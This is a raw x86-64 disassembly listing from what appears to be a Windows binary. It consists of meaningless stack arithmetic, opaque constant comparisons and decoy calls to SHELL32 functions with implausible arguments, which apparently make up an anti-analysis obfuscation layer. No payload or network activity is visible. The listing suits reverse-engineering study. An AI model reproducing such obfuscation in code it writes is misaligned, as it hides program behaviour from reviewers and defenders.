mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x68d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0x51], al
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x153c]
add eax, ecx
mov word [rsp + 0x152c], ax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x153c]
and eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba88]
mov qword [rsp + 0xbae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x68f4], eax
jmp 0x1400072a3
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xbae8], rax
cmp qword [rsp + 0xbae8], 0
je 0x140007854
movabs rax, 0x720c2b02715ecf
cmp qword [rsp + 0xbae8], rax
je 0x140007839
jmp 0x14024957a
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
jmp 0x14024957a
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xbaf0], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
mov dword [rsp + 0x6930], 0x89ab
lea rax, [rsp + 0x6918]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
sub rcx, rax
mov rax, rcx
mov qword [0x1402c7490], rax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movzx eax, word [0x1402c748c]
movzx ecx, word [rsp + 0x1540]
add eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov eax, dword [rsp + 0x6914]
add eax, 0xb4
mov dword [rsp + 0x6914], eax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
shl rax, cl
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x68d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x68f4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402c90a0], eax
movzx eax, word [0x1402c748c]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
sub eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
mov eax, dword [rsp + 0x68e4]
mov ecx, dword [rsp + 0x68b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xba88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba70]
movzx ecx, al
mov rax, qword [rsp + 0xb9b0]
shr rax, cl
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x54]
xor eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x152c]
and eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
cmp dword [rsp + 0x6914], 0xe938
jbe 0x140007895
movzx eax, word [rsp + 0x152c]
imul eax, eax, 0x78
mov word [rsp + 0x1540], ax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xbb00], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov qword [rsp + 0xbb08], rax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x6934], al
cmp byte [rsp + 0x6934], 0x72
je 0x140007bde
jmp 0x140007c77
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x6918]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402c90a0], eax
lea rax, [rsp + 0xbaa0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xba18]
lea r8, [rsp + 0xbab0]
mov edx, 0x24
lea rcx, [rsp + 0xb9e0]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x6938], eax
mov r9d, dword [rsp + 0x68ec]
mov r8d, dword [rsp + 0x6900]
mov edx, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x68ec]
call fcn.140249af0
jmp 0x140007cd4
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov word [rsp + 0x1544], ax
lea rax, [rsp + 0x1540]
mov qword [rsp + 0xbb10], rax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x56], al
movzx eax, word [rsp + 0x1544]
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x693c], 0xae81
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x6900]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbad0]
mov rcx, qword [rsp + 0xbab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
add eax, ecx
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
xor eax, ecx
mov byte [rsp + 0x53], al
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x152c]
shl eax, cl
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x1534]
sar eax, cl
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov eax, dword [rsp + 0x6918]
mov ecx, dword [rsp + 0x68fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
mov eax, dword [rsp + 0x693c]
sub eax, 4
mov dword [rsp + 0x693c], eax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xb9b0]
add rcx, rax
mov rax, rcx
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
and eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
cmp dword [rsp + 0x693c], 0xadad
ja 0x140007cd4
lea rax, [rsp + 0x54]
mov qword [rsp + 0xbb18], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
add eax, ecx
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x1540]
sub ecx, edx
cmp eax, ecx
jge 0x140007fec
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba70]
shr rax, cl
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb9d8], rax
lea r9, [rsp + 0x153c]
lea r8, [rsp + 0x1530]
mov edx, 0x90
mov rcx, qword [rsp + 0xbb20]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0xbb28], rax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
mov r9d, dword [rsp + 0x68ec]
mov r8d, dword [rsp + 0x68ec]
mov edx, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x6900]
call fcn.140249af0
jmp 0x1400080f0
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x1544]
mov word [rsp + 0x154c], ax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0xb9b0]
mov qword [rsp + 0xbb30], rax
cmp qword [rsp + 0xbb30], 0
je 0x140008082
movabs rax, 0x7983fb173dc025
cmp qword [rsp + 0xbb30], rax
je 0x1400080d3
jmp 0x1400080f0
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1534], ax
lea rax, [rsp + 0xbb08]
mov qword [rsp + 0xbb38], rax
lea rax, [rsp + 0xba08]
mov qword [rsp + 0xbb40], rax
movzx eax, word [rsp + 0x1534]
mov word [0x1402c90b0], ax
jmp 0x1400080f0
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xbab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68f4], eax
mov eax, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x68ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68e4], eax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x6940], al
cmp byte [rsp + 0x6940], 0xe
je 0x140008121
jmp 0x14000814a
mov r9d, dword [rsp + 0x68d8]
mov r8d, dword [rsp + 0x68ec]
movzx edx, byte [rsp + 0x53]
mov rax, qword [rsp + 0xbb00]
mov ecx, dword [rax]
call fcn.140249c90
jmp 0x140008252
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rdx, qword [0x1402c90a8]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x140008210
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
or eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov word [rsp + 0x1548], ax
mov edx, 0x90
mov rcx, qword [rsp + 0xbb48]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x68c0], eax
mov r9d, dword [rsp + 0x68ec]
mov r8d, dword [rsp + 0x68b0]
mov edx, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68e4]
call fcn.140249af0
jmp 0x140008252
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x51]
xor ecx, edx
cmp eax, ecx
jle 0x140008252
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x153c]
and eax, ecx
mov word [rsp + 0x1538], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0xbb50], rax
mov rax, qword [rsp + 0xba70]
mov qword [rsp + 0xbb58], rax
movabs rax, 0x76ce6dbe4bd7e7
cmp qword [rsp + 0xbb58], rax
je 0x140008288
jmp 0x140008325
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6918]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402c7490], rax
lea rcx, [rsp + 0xbac8]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xbb60], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov r9d, dword [rsp + 0x68ec]
mov r8d, dword [rsp + 0x68d8]
mov edx, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x68b0]
call fcn.140249af0
jmp 0x1400083ba
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
movzx eax, byte [rax]
mov byte [rsp + 0x58], al
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1540]
sub eax, ecx
mov word [rsp + 0x1538], ax
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x1544]
add eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xbb08]
mov qword [rsp + 0xbb70], rax
mov eax, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68ec]
sub ecx, eax
mov eax, ecx
mov dword [0x1402c7498], eax
movzx eax, word [rsp + 0x1534]
mov dword [rsp + 0x6944], eax
cmp dword [rsp + 0x6944], 0
je 0x1400083f0
jmp 0x14000854e
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
and eax, ecx
movsx ecx, word [rsp + 0x1544]
mov dword [rsp + 0x6948], ecx
mov rdx, qword [rsp + 0xba20]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x6948]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140008513
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x694c], al
cmp byte [rsp + 0x694c], 0
je 0x140008450
jmp 0x1400084fb
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov dword [rsp + 0x6950], eax
cmp dword [rsp + 0x6950], 0xac9
je 0x140008471
jmp 0x1400084c9
mov rax, qword [rsp + 0xba70]
movzx ecx, al
mov rax, qword [rsp + 0xb9b0]
shl rax, cl
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
sub eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
jmp 0x1400084f9
lea rax, [rsp + 0x55]
mov qword [rsp + 0xbb78], rax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x54]
and eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
lea rax, [rsp + 0x52]
mov qword [rsp + 0xbb80], rax
jmp 0x140008511
lea rcx, [rsp + 0x68f4]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xbb88], rax
jmp 0x140008549
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
xor eax, ecx
movsx ecx, word [rsp + 0x1548]
mov rdx, qword [rsp + 0xbaf0]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jle 0x140008549
call fcn.140249c00
jmp 0x1400085d7
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x1544]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xba10]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x1530]
mov rax, qword [rsp + 0xba20]
movzx edx, word [rax]
mov rax, qword [rsp + 0xba20]
movzx ecx, word [rax]
call fcn.140249d10
lea rax, [rsp + 0x68e4]
mov qword [rsp + 0xbb90], rax
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x6918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f4], eax
cmp dword [rsp + 0x68cc], 0xc3b0
ja 0x14000890b
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xbb08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
shl eax, cl
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x154c]
or eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68d8]
sar eax, cl
mov dword [0x1402c7498], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x68f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
mov eax, dword [rsp + 0x68cc]
add eax, 0x4e
mov dword [rsp + 0x68cc], eax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xb9b8]
mov qword [rsp + 0xbb98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb98]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1548], ax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x56]
and eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1540]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402c7498], eax
jmp 0x140008600
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xbb08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb70], rax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x56], al
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [rsp + 0x1544], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x57]
sub eax, ecx
mov byte [rsp + 0x52], al
movzx eax, word [0x1402c90b0]
movzx ecx, word [rsp + 0x1534]
sar eax, cl
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
or eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb40]
mov qword [rsp + 0xbba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbba0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xbb70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x54], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xbb78]
